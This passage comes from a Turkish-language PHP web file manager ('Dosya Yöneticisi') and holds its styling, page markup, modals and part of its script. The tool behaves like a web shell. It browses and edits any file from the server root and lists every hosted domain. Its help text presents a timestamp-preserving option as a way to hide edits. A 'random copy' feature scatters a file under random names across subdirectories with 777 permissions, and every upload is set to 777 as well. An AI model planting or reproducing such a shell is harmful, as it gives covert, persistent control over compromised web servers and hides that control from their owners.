        }
        
        .domain-card p {
            font-size: 13px;
            color: var(--text-light);
            margin-bottom: 15px;
        }
        
        .editor-container {
            margin-top: 20px;
        }
        
        .editor-actions {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-top: 20px;
        }
        
        .checkbox-wrapper {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .checkbox-wrapper input {
            width: 16px;
            height: 16px;
            accent-color: var(--primary);
        }
        
        .checkbox-wrapper label {
            font-size: 14px;
            margin-bottom: 0;
        }
        
        .logout {
            color: white;
            text-decoration: none;
            opacity: 0.9;
            transition: var(--transition);
            display: flex;
            align-items: center;
            gap: 6px;
        }
        
        .logout:hover {
            opacity: 1;
            text-decoration: underline;
        }
        
        .breadcrumb {
            background-color: white;
            padding: 12px 20px;
            border-radius: var(--border-radius);
            margin-bottom: 20px;
            display: flex;
            align-items: center;
            flex-wrap: wrap;
            gap: 5px;
            box-shadow: var(--shadow-sm);
        }
        
        .breadcrumb a {
            color: var(--primary);
            text-decoration: none;
            transition: var(--transition);
            font-size: 14px;
        }
        
        .breadcrumb a:hover {
            color: var(--primary-dark);
            text-decoration: underline;
        }
        
        .breadcrumb .separator {
            color: var(--text-light);
            margin: 0 5px;
        }
        
        .breadcrumb .current {
            color: var(--text);
            font-weight: 500;
        }
        
        .file-details {
            display: flex;
            flex-direction: column;
            gap: 5px;
        }
        
        .file-meta {
            font-size: 13px;
            color: var(--text-light);
        }
        
        .file-name {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        /* Footer */
        footer {
            background: var(--header-gradient);
            color: rgba(255, 255, 255, 0.9);
            padding: 15px 40px;
            text-align: center;
            font-size: 14px;
            margin-top: auto;
        }
        
        /* Responsive adjustments */
        @media (max-width: 1200px) {
            .file-list-header, .file-list-item {
                grid-template-columns: 40px 1fr 100px 100px 140px 170px;
            }
        }
        
        @media (max-width: 992px) {
            .file-list-header, .file-list-item {
                grid-template-columns: 40px 1fr 100px 120px 170px;
            }
            
            .file-list-header > div:nth-child(4),
            .file-list-item > div:nth-child(4) {
                display: none;
            }
        }
        
        @media (max-width: 768px) {
            .file-list-header, .file-list-item {
                grid-template-columns: 40px 1fr 100px 140px;
            }
            
            .file-list-header > div:nth-child(4),
            .file-list-item > div:nth-child(4),
            .file-list-header > div:nth-child(5),
            .file-list-item > div:nth-child(5) {
                display: none;
            }
            
            .actions {
                flex-wrap: wrap;
                justify-content: flex-end;
            }
        }
        
        @media (max-width: 576px) {
            .file-list-header, .file-list-item {
                grid-template-columns: 40px 1fr auto;
                padding: 10px;
            }
            
            .file-list-header > div:nth-child(3),
            .file-list-item > div:nth-child(3),
            .file-list-header > div:nth-child(4),
            .file-list-item > div:nth-child(4),
            .file-list-header > div:nth-child(5),
            .file-list-item > div:nth-child(5) {
                display: none;
            }
            
            .actions .btn {
                padding: 5px 8px;
                font-size: 12px;
            }
            
            .toolbar {
                flex-direction: column;
                align-items: stretch;
            }
            
            .toolbar-left, .toolbar-right {
                justify-content: center;
            }
            
            .current-path {
                max-width: 100%;
            }
            
            .modal-content {
                padding: 20px;
                margin: 30px auto;
            }
        }
        
        /* Animation and effects */
        .highlight {
            animation: highlight 2s ease-out;
        }
        
        @keyframes highlight {
            0% { background-color: rgba(74, 111, 255, 0.2); }
            100% { background-color: transparent; }
        }
        
        /* Tooltip */
        [data-tooltip] {
            position: relative;
            cursor: pointer;
        }
        
        [data-tooltip]::after {
            content: attr(data-tooltip);
            position: absolute;
            bottom: 100%;
            left: 50%;
            transform: translateX(-50%) translateY(-5px);
            background-color: rgba(0, 0, 0, 0.8);
            color: white;
            padding: 5px 10px;
            border-radius: 4px;
            font-size: 12px;
            white-space: nowrap;
            opacity: 0;
            visibility: hidden;
            transition: all 0.2s ease;
            pointer-events: none;
            z-index: 100;
        }
        
        [data-tooltip]:hover::after {
            opacity: 1;
            visibility: visible;
            transform: translateX(-50%) translateY(-10px);
        }
    </style>
</head>
<body>
    <header>
        <h1><i class="fas fa-folder-open"></i> Dosya Yöneticisi</h1>
        <div class="header-actions">
            <button class="btn" onclick="openModal('helpModal')"><i class="fas fa-question-circle"></i> Yardım</button>
            <a href="?logout=1" class="logout"><i class="fas fa-sign-out-alt"></i> Çıkış Yap</a>
        </div>
    </header>
    
    <div class="container">
        <?php
        // Display messages from session (for file locking operations)
        if (isset($_SESSION['file_message'])) {
            echo '<div class="message">' . $_SESSION['file_message'] . '</div>';
            // Clear the message after displaying
            unset($_SESSION['file_message']);
        }
        ?>
        
        <?php if (isset($message)): ?>
            <div class="message"><?php echo $message; ?></div>
        <?php endif; ?>
        
        <?php if (isset($error)): ?>
            <div class="error"><?php echo $error; ?></div>
        <?php endif; ?>
        
        <div class="toolbar">
            <div class="toolbar-left">
                <a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" class="btn btn-blue"><i class="fas fa-arrow-left"></i> Üst Klasör</a>
                <div class="current-path"><i class="fas fa-folder"></i> <?php echo htmlspecialchars($current_dir); ?></div>
            </div>
            
            <div class="toolbar-right">
                <button class="btn" onclick="openModal('newFileModal')"><i class="fas fa-file-plus"></i> Yeni Dosya</button>
                <button class="btn" onclick="openModal('newDirModal')"><i class="fas fa-folder-plus"></i> Yeni Klasör</button>
                <button class="btn" onclick="openModal('uploadModal')"><i class="fas fa-upload"></i> Dosya Yükle</button>
                <button class="btn" onclick="openModal('navigateModal')"><i class="fas fa-compass"></i> Dizine Git</button>
                <button class="btn" onclick="openModal('domainModal')"><i class="fas fa-globe"></i> Domainler</button>
            </div>
        </div>
        
        <?php
        // Generate breadcrumb navigation
        $path_parts = explode('/', $current_dir);
        $accumulated_path = '';
        
        echo '<div class="breadcrumb">';
        echo '<a href="?dir=/"><i class="fas fa-home"></i> Root</a>';
        
        foreach ($path_parts as $index => $part) {
            if (empty($part)) continue;
            
            $accumulated_path .= '/' . $part;
            if ($index < count($path_parts) - 1) {
                echo '<span class="separator">/</span>';
                echo '<a href="?dir=' . urlencode($accumulated_path) . '">' . htmlspecialchars($part) . '</a>';
            } else {
                echo '<span class="separator">/</span>';
                echo '<span class="current">' . htmlspecialchars($part) . '</span>';
            }
        }
        
        echo '</div>';
        
        if (!empty($domains)): ?>
        <div class="domain-select">
            <div class="card">
                <div class="card-header">
                    <h2><i class="fas fa-globe"></i> Sunucudaki Domainler</h2>
                </div>
                <div class="domain-grid" style="padding: 20px;">
                    <?php foreach ($domains as $domain): ?>
                    <div class="domain-card">
                        <h3><i class="fas fa-globe"></i> <?php echo htmlspecialchars($domain['name']); ?></h3>
                        <p>
                            <strong>Tür:</strong> <?php echo htmlspecialchars($domain['type']); ?><br>
                            <strong>Yol:</strong> <?php echo htmlspecialchars($domain['path']); ?>
                        </p>
                        <a href="?dir=<?php echo urlencode($domain['path']); ?>" class="btn btn-blue" style="width: 100%; text-align: center;">
                            <i class="fas fa-folder-open"></i> Bu Domaini Aç
                        </a>
                    </div>
                    <?php endforeach; ?>
                </div>
            </div>
        </div>
        <?php endif; ?>
        
        <?php
        // File editor view
        if ($edit_file): 
        ?>
            <div class="card">
                <div class="card-header">
                    <h2>
                        <i class="fas fa-edit"></i>
                        Dosyayı Düzenle: <?php echo htmlspecialchars(basename($edit_file)); ?>
                    </h2>
                    <div>
                        <a href="?dir=<?php echo urlencode(dirname($edit_file)); ?>" class="btn btn-blue">
                            <i class="fas fa-arrow-left"></i> Klasöre Dön
                        </a>
                    </div>
                </div>
                
                <div style="padding: 20px;">
                    <form method="post">
                        <input type="hidden" name="action" value="save_file">
                        <input type="hidden" name="filepath" value="<?php echo htmlspecialchars($edit_file); ?>">
                        
                        <div class="textarea-wrapper">
                            <textarea name="content" id="content"><?php echo htmlspecialchars($file_content); ?></textarea>
                        </div>
                        
                        <div class="editor-actions">
                            <div class="checkbox-wrapper">
                                <input type="checkbox" id="preserve_timestamp" name="preserve_timestamp" value="1" checked>
                                <label for="preserve_timestamp">Zaman damgasını koru (son değişiklik tarihini güncelleme)</label>
                            </div>
                            <div>
                                <button type="submit" class="btn btn-green">
                                    <i class="fas fa-save"></i> Kaydet
                                </button>
                                <a href="?dir=<?php echo urlencode(dirname($edit_file)); ?>" class="btn btn-blue">
                                    <i class="fas fa-times"></i> Vazgeç
                                </a>
                            </div>
                        </div>
                    </form>
                </div>
            </div>
        <?php else: ?>
            <!-- File browser view -->
            <div class="file-list">
                <div class="file-list-header">
                    <div></div>
                    <div>Ad</div>
                    <div>Boyut</div>
                    <div>İzinler</div>
                    <div>Son Değişiklik</div>
                    <div>İşlemler</div>
                </div>
                
                <?php
                // Get and sort directory contents
                $items = scandir($current_dir);
                $dirs = [];
                $files = [];
                
                foreach ($items as $item) {
                    if ($item == '.' || $item == '..') continue;
                    
                    $path = $current_dir . '/' . $item;
                    
                    if (is_dir($path)) {
                        $dirs[] = $item;
                    } else {
                        $files[] = $item;
                    }
                }
                
                sort($dirs);
                sort($files);
                
                // Generate breadcrumb navigation
                $path_parts = explode('/', $current_dir);
                $breadcrumb = '';
                $accumulated_path = '';
                
                echo '<div style="margin-bottom: 15px; font-size: 14px; background-color: #f8f9fa; padding: 8px; border-radius: 4px;">';
                echo '<span style="font-weight: bold;">Konum: </span>';
                
                foreach ($path_parts as $index => $part) {
                    if (empty($part) && $index == 0) {
                        $accumulated_path = '/';
                        echo '<a href="?dir=' . urlencode($accumulated_path) . '" style="color: #2196F3; text-decoration: none;">Root</a> / ';
                        continue;
                    }
                    
                    if (empty($part)) continue;
                    
                    $accumulated_path .= ($accumulated_path == '/' ? '' : '/') . $part;
                    echo '<a href="?dir=' . urlencode($accumulated_path) . '" style="color: #2196F3; text-decoration: none;">' . htmlspecialchars($part) . '</a>';
                    
                    if ($index < count($path_parts) - 1) {
                        echo ' / ';
                    }
                }
                
                echo '</div>';
                
                // Display parent directory link if not at root
                if ($current_dir != '/') {
                    echo '<div class="file-list-item">';
                    echo '<div class="file-icon">📁</div>';
                    echo '<div><a href="?dir=' . urlencode(dirname($current_dir)) . '">...</a></div>';
                    echo '<div></div>';
                    echo '<div></div>';
                    echo '<div></div>';
                    echo '</div>';
                }
                
                // Display directories
                foreach ($dirs as $dir) {
                    $path = $current_dir . '/' . $dir;
                    $perms = substr(sprintf('%o', fileperms($path)), -4);
                    
                    echo '<div class="file-list-item">';
                    echo '<div class="file-icon"><i class="fas fa-folder text-primary"></i></div>';
                    echo '<div class="directory"><a href="?dir=' . urlencode($path) . '"><i class="fas fa-folder"></i> ' . htmlspecialchars($dir) . '</a></div>';
                    echo '<div>Klasör</div>';
                    echo '<div>' . $perms . '</div>';
                    echo '<div>' . date('d.m.Y H:i:s', filemtime($path)) . '</div>';
                    echo '<div class="actions">';
                    echo '<button class="btn btn-blue" onclick="openRenameModal(\'' . htmlspecialchars(addslashes($path)) . '\', \'' . htmlspecialchars(addslashes($dir)) . '\')" data-tooltip="Yeniden Adlandır"><i class="fas fa-file-signature"></i></button>';
                    echo '<button class="btn btn-blue" onclick="openPermissionsModal(\'' . htmlspecialchars(addslashes($path)) . '\', \'' . $perms . '\')" data-tooltip="İzinleri Değiştir"><i class="fas fa-key"></i></button>';
                    echo '<button class="btn btn-red" onclick="confirmDelete(\'' . htmlspecialchars(addslashes($path)) . '\', \'' . htmlspecialchars(addslashes($dir)) . '\')" data-tooltip="Sil"><i class="fas fa-trash"></i></button>';
                    echo '</div>';
                    echo '</div>';
                }
                
                // Display files
                foreach ($files as $file) {
                    // Skip .lock marker files
                    if (substr($file, -5) === '.lock') {
                        continue;
                    }
                    
                    $path = $current_dir . '/' . $file;
                    $size = formatSize(filesize($path));
                    $perms = substr(sprintf('%o', fileperms($path)), -4);
                    $icon = getFileIconClass($file);
                    
                    echo '<div class="file-list-item">';
                    echo '<div class="file-icon"><i class="' . $icon . '"></i></div>';
                    
                    echo '<div class="file-details">';
                    echo '<div class="file-name"><a href="?edit=' . urlencode($path) . '">' . htmlspecialchars($file) . '</a></div>';
                    echo '<div class="file-meta">Son düzenleme: ' . date('d.m.Y H:i:s', filemtime($path)) . '</div>';
                    echo '</div>';
                    
                    echo '<div>' . $size . '</div>';
                    echo '<div>' . $perms . '</div>';
                    echo '<div>' . date('d.m.Y H:i:s', filemtime($path)) . '</div>';
                    echo '<div class="actions">';
                    
                    echo '<a href="?edit=' . urlencode($path) . '" class="btn btn-blue" data-tooltip="Düzenle"><i class="fas fa-edit"></i></a>';
                    echo '<a href="?download=' . urlencode($path) . '" class="btn btn-blue" data-tooltip="İndir"><i class="fas fa-download"></i></a>';
                    echo '<button class="btn btn-blue" onclick="openRenameModal(\'' . htmlspecialchars(addslashes($path)) . '\', \'' . htmlspecialchars(addslashes($file)) . '\')" data-tooltip="Yeniden Adlandır"><i class="fas fa-file-signature"></i></button>';
                    echo '<button class="btn btn-blue" onclick="openCopyModal(\'' . htmlspecialchars(addslashes($path)) . '\')" data-tooltip="Rastgele Kopyala"><i class="fas fa-copy"></i></button>';
                    echo '<button class="btn btn-blue" onclick="openPermissionsModal(\'' . htmlspecialchars(addslashes($path)) . '\', \'' . $perms . '\')" data-tooltip="İzinleri Değiştir"><i class="fas fa-key"></i></button>';
                    echo '<button class="btn btn-red" onclick="confirmDelete(\'' . htmlspecialchars(addslashes($path)) . '\', \'' . htmlspecialchars(addslashes($file)) . '\')" data-tooltip="Sil"><i class="fas fa-trash"></i></button>';
                    
                    echo '</div>';
                    echo '</div>';
                }
                
                if (count($dirs) == 0 && count($files) == 0) {
                    echo '<div class="file-list-item" style="text-align: center; grid-column: 1 / span 5;">Klasör boş</div>';
                }
                ?>
            </div>
        <?php endif; ?>
        
        <!-- Modals -->
        <div id="newFileModal" class="modal">
            <div class="modal-content">
                <span class="close" onclick="closeModal('newFileModal')">&times;</span>
                <h2>Yeni Dosya Oluştur</h2>
                <form method="post">
                    <input type="hidden" name="action" value="create_file">
                    
                    <label for="filename">Dosya Adı:</label>
                    <input type="text" id="filename" name="filename" required>
                    
                    <label for="content">İçerik:</label>
                    <textarea id="content" name="content" style="height: 300px;"></textarea>
                    
                    <button type="submit" class="btn">Oluştur</button>
                </form>
            </div>
        </div>
        
        <div id="newDirModal" class="modal">
            <div class="modal-content">
                <span class="close" onclick="closeModal('newDirModal')">&times;</span>
                <h2>Yeni Klasör Oluştur</h2>
                <form method="post">
                    <input type="hidden" name="action" value="create_directory">
                    
                    <label for="dirname">Klasör Adı:</label>
                    <input type="text" id="dirname" name="dirname" required>
                    
                    <button type="submit" class="btn">Oluştur</button>
                </form>
            </div>
        </div>
        
        <div id="deleteModal" class="modal">
            <div class="modal-content">
                <span class="close" onclick="closeModal('deleteModal')">&times;</span>
                <h2>Silmeyi Onayla</h2>
                <p id="deleteMessage"></p>
                <form method="post">
                    <input type="hidden" name="action" value="delete_file">
                    <input type="hidden" id="deleteFilePath" name="filepath" value="">
                    
                    <button type="submit" class="btn btn-red">Sil</button>
                    <button type="button" class="btn" onclick="closeModal('deleteModal')" style="margin-left: 10px;">İptal</button>
                </form>
            </div>
        </div>
        
    <footer>
        <div>Dosya Yöneticisi &copy; <?php echo date('Y'); ?> - Premium Sürüm</div>
    </footer>
    
    <!-- Modals -->
    <div id="newFileModal" class="modal">
        <div class="modal-content">
            <span class="close" onclick="closeModal('newFileModal')">&times;</span>
            <h2><i class="fas fa-file-plus"></i> Yeni Dosya Oluştur</h2>
            <form method="post">
                <input type="hidden" name="action" value="create_file">
                
                <label for="filename">Dosya Adı:</label>
                <input type="text" id="filename" name="filename" required placeholder="örnek.php">
                
                <label for="content">İçerik:</label>
                <textarea id="content" name="content" style="height: 300px;"></textarea>
                
                <div style="margin-top: 20px; display: flex; justify-content: flex-end; gap: 10px;">
                    <button type="button" class="btn btn-blue" onclick="closeModal('newFileModal')">
                        <i class="fas fa-times"></i> İptal
                    </button>
                    <button type="submit" class="btn btn-green">
                        <i class="fas fa-check"></i> Oluştur
                    </button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="newDirModal" class="modal">
        <div class="modal-content">
            <span class="close" onclick="closeModal('newDirModal')">&times;</span>
            <h2><i class="fas fa-folder-plus"></i> Yeni Klasör Oluştur</h2>
            <form method="post">
                <input type="hidden" name="action" value="create_directory">
                
                <label for="dirname">Klasör Adı:</label>
                <input type="text" id="dirname" name="dirname" required placeholder="yeni_klasor">
                
                <div style="margin-top: 20px; display: flex; justify-content: flex-end; gap: 10px;">
                    <button type="button" class="btn btn-blue" onclick="closeModal('newDirModal')">
                        <i class="fas fa-times"></i> İptal
                    </button>
                    <button type="submit" class="btn btn-green">
                        <i class="fas fa-check"></i> Oluştur
                    </button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="deleteModal" class="modal">
        <div class="modal-content">
            <span class="close" onclick="closeModal('deleteModal')">&times;</span>
            <h2><i class="fas fa-trash"></i> Silmeyi Onayla</h2>
            <p id="deleteMessage" style="margin-bottom: 20px;"></p>
            <form method="post">
                <input type="hidden" name="action" value="delete_file">
                <input type="hidden" id="deleteFilePath" name="filepath" value="">
                
                <div style="display: flex; justify-content: flex-end; gap: 10px;">
                    <button type="button" class="btn btn-blue" onclick="closeModal('deleteModal')">
                        <i class="fas fa-times"></i> İptal
                    </button>
                    <button type="submit" class="btn btn-red">
                        <i class="fas fa-trash"></i> Sil
                    </button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="permissionsModal" class="modal">
        <div class="modal-content">
            <span class="close" onclick="closeModal('permissionsModal')">&times;</span>
            <h2><i class="fas fa-key"></i> İzinleri Değiştir</h2>
            <p id="permissionsFileName" style="margin-bottom: 20px;"></p>
            <form method="post">
                <input type="hidden" name="action" value="change_permissions">
                <input type="hidden" id="permissionsFilePath" name="filepath" value="">
                
                <label for="permissions">İzinler (örn: 0755):</label>
                <input type="text" id="permissions" name="permissions" placeholder="0755" required>
                
                <div style="margin-top: 15px; display: flex; flex-wrap: wrap; gap: 10px;">
                    <button type="button" class="btn" onclick="document.getElementById('permissions').value = '0755'">
                        0755 (Normal)
                    </button>
                    <button type="button" class="btn" onclick="document.getElementById('permissions').value = '0777'">
                        0777 (Tam İzin)
                    </button>
                    <button type="button" class="btn" onclick="document.getElementById('permissions').value = '0644'">
                        0644 (Sadece Okuma)
                    </button>
                </div>
                
                <div style="margin-top: 20px; display: flex; justify-content: flex-end; gap: 10px;">
                    <button type="button" class="btn btn-blue" onclick="closeModal('permissionsModal')">
                        <i class="fas fa-times"></i> İptal
                    </button>
                    <button type="submit" class="btn btn-green">
                        <i class="fas fa-check"></i> İzinleri Değiştir
                    </button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="navigateModal" class="modal">
        <div class="modal-content">
            <span class="close" onclick="closeModal('navigateModal')">&times;</span>
            <h2><i class="fas fa-compass"></i> Dizine Git</h2>
            <form onsubmit="navigateToPath(); return false;">
                <label for="customPath">Dizin Yolu:</label>
                <input type="text" id="customPath" placeholder="/opt/lampp/htdocs" required>
                
                <div style="margin-top: 20px; display: flex; justify-content: flex-end; gap: 10px;">
                    <button type="button" class="btn btn-blue" onclick="closeModal('navigateModal')">
                        <i class="fas fa-times"></i> İptal
                    </button>
                    <button type="submit" class="btn btn-green">
                        <i class="fas fa-check"></i> Git
                    </button>
                </div>
            </form>
            
            <div style="margin-top: 30px;">
                <h3 style="margin-bottom: 15px;"><i class="fas fa-star"></i> Hızlı Erişim</h3>
                <div style="display: grid; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); gap: 10px;">
                    <button class="btn" onclick="goToPath('/opt/lampp/htdocs')">
                        <i class="fas fa-server"></i> XAMPP htdocs
                    </button>
                    <button class="btn" onclick="goToPath('/var/www/html')">
                        <i class="fas fa-server"></i> Apache www
                    </button>
                    <button class="btn" onclick="goToPath('/home')">
                        <i class="fas fa-home"></i> Home
                    </button>
                    <button class="btn" onclick="goToPath('<?php echo $_SERVER['DOCUMENT_ROOT']; ?>')">
                        <i class="fas fa-sitemap"></i> Document Root
                    </button>
                </div>
            </div>
        </div>
    </div>
    
    <div id="uploadModal" class="modal">
        <div class="modal-content">
            <span class="close" onclick="closeModal('uploadModal')">&times;</span>
            <h2><i class="fas fa-upload"></i> Dosya Yükle</h2>
            <form method="post" enctype="multipart/form-data">
                <input type="hidden" name="action" value="upload_file">
                
                <label for="uploaded_file">Dosya Seçin:</label>
                <input type="file" id="uploaded_file" name="uploaded_file" required style="display: block; margin-bottom: 15px;">
                
                <div style="margin-top: 20px; display: flex; justify-content: flex-end; gap: 10px;">
                    <button type="button" class="btn btn-blue" onclick="closeModal('uploadModal')">
                        <i class="fas fa-times"></i> İptal
                    </button>
                    <button type="submit" class="btn btn-green">
                        <i class="fas fa-upload"></i> Yükle
                    </button>
                </div>
                <div style="margin-top: 15px; font-size: 13px; color: #666; background: #f8f9fa; padding: 10px; border-radius: 4px;">
                    <i class="fas fa-info-circle"></i> Not: Tüm dosyalar 777 izni ile yüklenir (herkes için okuma, yazma, çalıştırma)
                </div>
            </form>
        </div>
    </div>
    
    <div id="domainModal" class="modal">
        <div class="modal-content" style="width: 90%; max-width: 1000px;">
            <span class="close" onclick="closeModal('domainModal')">&times;</span>
            <h2><i class="fas fa-globe"></i> Sunucu Domainleri</h2>
            
            <div class="domain-grid">
                <?php foreach ($domains as $domain): ?>
                <div class="domain-card">
                    <h3><i class="fas fa-globe"></i> <?php echo htmlspecialchars($domain['name']); ?></h3>
                    <p>
                        <strong>Tür:</strong> <?php echo htmlspecialchars($domain['type']); ?><br>
                        <strong>Yol:</strong> <?php echo htmlspecialchars($domain['path']); ?>
                    </p>
                    <a href="?dir=<?php echo urlencode($domain['path']); ?>" class="btn btn-blue" style="width: 100%; text-align: center;">
                        <i class="fas fa-folder-open"></i> Bu Domaini Aç
                    </a>
                </div>
                <?php endforeach; ?>
                
                <?php if (empty($domains)): ?>
                <div style="grid-column: 1 / -1; text-align: center; padding: 20px; color: #666;">
                    <i class="fas fa-info-circle"></i> Sunucuda hiçbir domain bulunamadı.
                </div>
                <?php endif; ?>
            </div>
            
            <div style="margin-top: 20px; border-top: 1px solid #ddd; padding-top: 15px; text-align: center;">
                <p style="margin-bottom: 15px;">Bu liste sunucu yapılandırmanıza bağlı olarak otomatik olarak oluşturulmuştur. Bazı domainler listelenmiyor olabilir.</p>
                <div style="display: flex; justify-content: center; gap: 10px;">
                    <button class="btn btn-blue" onclick="window.location.reload()">
                        <i class="fas fa-sync"></i> Listeyi Yenile
                    </button>
                    <button class="btn" onclick="closeModal('domainModal')">
                        <i class="fas fa-times"></i> Kapat
                    </button>
                </div>
            </div>
        </div>
    </div>
    
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <span class="close" onclick="closeModal('renameModal')">&times;</span>
            <h2><i class="fas fa-edit"></i> Yeniden Adlandır</h2>
            <p id="renameItemPath" style="margin-bottom: 20px;"></p>
            <form method="post">
                <input type="hidden" name="action" value="rename_item">
                <input type="hidden" id="oldPathInput" name="oldpath" value="">
                
                <label for="newname">Yeni Ad:</label>
                <input type="text" id="newname" name="newname" required>
                
                <div style="margin-top: 20px; display: flex; justify-content: flex-end; gap: 10px;">
                    <button type="button" class="btn btn-blue" onclick="closeModal('renameModal')">
                        <i class="fas fa-times"></i> İptal
                    </button>
                    <button type="submit" class="btn btn-green">
                        <i class="fas fa-check"></i> Yeniden Adlandır
                    </button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="copyModal" class="modal">
        <div class="modal-content">
            <span class="close" onclick="closeModal('copyModal')">&times;</span>
            <h2><i class="fas fa-copy"></i> Rastgele Kopyalama</h2>
            <p id="copyFilePath" style="margin-bottom: 20px;"></p>
            <form method="post">
                <input type="hidden" name="action" value="copy_file_random">
                <input type="hidden" id="copyFilePathInput" name="filepath" value="">
                <input type="hidden" id="copyBaseDirInput" name="base_dir" value="<?php echo htmlspecialchars($current_dir); ?>">
                
                <label for="copy_count">Kaç kopya oluşturulsun?</label>
                <input type="number" id="copy_count" name="copy_count" value="5" min="1" max="50" required>
                
                <div style="margin-top: 15px; font-size: 13px; color: #666; background: #f8f9fa; padding: 10px; border-radius: 4px;">
                    <i class="fas fa-info-circle"></i> Not: Dosya, mevcut dizin ve alt dizinlerine rastgele isimlerle kopyalanacaktır.
                    Örneğin: abc.php → jk38gh2p.php gibi rastgele isimler kullanılacaktır.
                    Tüm kopyalar 777 izinleriyle oluşturulacaktır.
                </div>
                
                <div style="margin-top: 20px; display: flex; justify-content: flex-end; gap: 10px;">
                    <button type="button" class="btn btn-blue" onclick="closeModal('copyModal')">
                        <i class="fas fa-times"></i> İptal
                    </button>
                    <button type="submit" class="btn btn-green">
                        <i class="fas fa-copy"></i> Kopyala
                    </button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="helpModal" class="modal">
        <div class="modal-content" style="width: 90%; max-width: 1000px;">
            <span class="close" onclick="closeModal('helpModal')">&times;</span>
            <h2><i class="fas fa-question-circle"></i> Dosya Yöneticisi Yardım</h2>
            
            <div style="margin-top: 20px;">
                <h3 style="margin-bottom: 15px;"><i class="fas fa-star"></i> Özellikler</h3>
                
                <div style="background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin-bottom: 20px; border-left: 4px solid #4a6fff;">
                    <h4 style="display: flex; align-items: center; gap: 10px; margin-bottom: 10px;">
                        <i class="fas fa-clock text-primary"></i> Zaman Damgası Koruma
                    </h4>
                    <p>Dosyaları düzenlerken orijinal "son değişiklik" tarihini koruyabilirsiniz:</p>
                    <ul style="margin-left: 20px; line-height: 1.8;">
                        <li>Dosya düzenleyicisinde "Zaman damgasını koru" seçeneği bulunur.</li>
                        <li>Bu seçenek işaretliyken, dosyayı düzenleyip kaydettiğinizde bile dosyanın son değişiklik tarihi güncellenmez.</li>
                        <li>Bu özellik, düzenleme yaptığınızı gizlemek istediğinizde veya sıralama düzenini bozmak istemediğinizde kullanışlıdır.</li>
                    </ul>
                </div>
                
                <div style="background-color: #f8f9fa; padding: 20px; border-radius: 8px; border-left: 4px solid #ff9800;">
                    <h4 style="display: flex; align-items: center; gap: 10px; margin-bottom: 10px;">
                        <i class="fas fa-copy text-warning"></i> Rastgele Dosya Kopyalama
                    </h4>
                    <p>Bir dosyayı farklı dizinlere rastgele isimlerle kopyalayabilirsiniz:</p>
                    <ul style="margin-left: 20px; line-height: 1.8;">
                        <li>Dosya listesinde <i class="fas fa-copy"></i> düğmesini kullanın.</li>
                        <li>İstediğiniz kopya sayısını belirtin.</li>
                        <li>Dosya mevcut dizinde ve alt dizinlerde rastgele isimlerle kopyalanacaktır.</li>
                        <li>Bu özellik, aynı dosyayı farklı yerlere hızlıca dağıtmak istediğinizde kullanışlıdır.</li>
                    </ul>
                </div>
                
                <div style="background-color: #f8f9fa; padding: 20px; border-radius: 8px; border-left: 4px solid #28a745; margin-top: 20px;">
                    <h4 style="display: flex; align-items: center; gap: 10px; margin-bottom: 10px;">
                        <i class="fas fa-server text-success"></i> Çoklu Sunucu Desteği
                    </h4>
                    <p>Farklı domainler ve sunucu konfigürasyonları arasında kolay gezinme:</p>
                    <ul style="margin-left: 20px; line-height: 1.8;">
                        <li>Sunucudaki farklı domain dizinleri otomatik olarak tespit edilir ve listelenir.</li>
                        <li>Tek tıklamayla farklı domain dizinlerine hızlıca geçiş yapabilirsiniz.</li>
                        <li>Apache ve Nginx yapılandırma dosyaları otomatik olarak taranır.</li>
                    </ul>
                </div>
            </div>
            
            <div style="margin-top: 30px; text-align: center;">
                <button class="btn btn-blue" onclick="closeModal('helpModal')">
                    <i class="fas fa-times"></i> Kapat
                </button>
            </div>
        </div>
    </div>
</div>

<script>
    // Open a modal
    function openModal(modalId) {
        document.getElementById(modalId).style.display = 'block';
        document.body.style.overflow = 'hidden'; // Prevent scrolling when modal is open
    }
    
    // Close a modal
    function closeModal(modalId) {
        document.getElementById(modalId).style.display = 'none';
        document.body.style.overflow = 'auto'; // Restore scrolling
    }
    
    // Confirm file/directory deletion
    function confirmDelete(path, name) {
        document.getElementById('deleteMessage').innerHTML = `"<strong>${name}</strong>" öğesini silmek istediğinizden emin misiniz?`;
        document.getElementById('deleteFilePath').value = path;
        openModal('deleteModal');
    }
    
    // Open permissions modal
    function openPermissionsModal(path, currentPerms) {
        document.getElementById('permissionsFileName').innerHTML = `<strong>Dosya:</strong> ${path}`;
        document.getElementById('permissionsFilePath').value = path;
        document.getElementById('permissions').value = currentPerms;
        openModal('permissionsModal');
    }
    
    // Open rename modal
    function openRenameModal(path, currentName) {
        document.getElementById('renameItemPath').innerHTML = `<strong>Yeniden adlandır:</strong> ${path}`;
        document.getElementById('oldPathInput').value = path;
        document.getElementById('newname').value = currentName;
        openModal('renameModal');
        
        // Select the filename in the input
        setTimeout(() => {
            const input = document.getElementById('newname');
            input.focus();
            input.select();
        }, 100);
    }
    
    // Open copy modal
    function openCopyModal(path) {
        document.getElementById('copyFilePath').innerHTML = `<strong>Dosya:</strong> ${path}`;
        document.getElementById('copyFilePathInput').value = path;
        openModal('copyModal');
        
        // Focus on the copy count input
        setTimeout(() => {
            const input = document.getElementById('copy_count');
            input.focus();
            input.select();
        }, 100);
    }
    
    // Switch domain
    function switchDomain(path) {
        if (path) {
            window.location.href = '?dir=' + encodeURIComponent(path);
        }
    }
    
    // Close modal when clicking outside of it
    window.onclick = function(event) {
        if (event.target.classList.contains('modal')) {
            event.target.style.display = 'none';
            document.body.style.overflow = 'auto'; // Restore scrolling
        }
    }
    
    // Close modal on escape key
    document.addEventListener('keydown', function(event) {
        if (event.key === 'Escape') {
            const modals = document.getElementsByClassName('modal');
            for (let i = 0; i < modals.length; i++) {
                if (modals[i].style.display === 'block') {
                    modals[i].style.display = 'none';
                    document.body.style.overflow = 'auto'; // Restore scrolling
                    break;
                }
            }
        }
    });
    
    // Navigate to custom path
    function navigateToPath() {
        const path = document.getElementById('customPath').value.trim();
        if (path) {
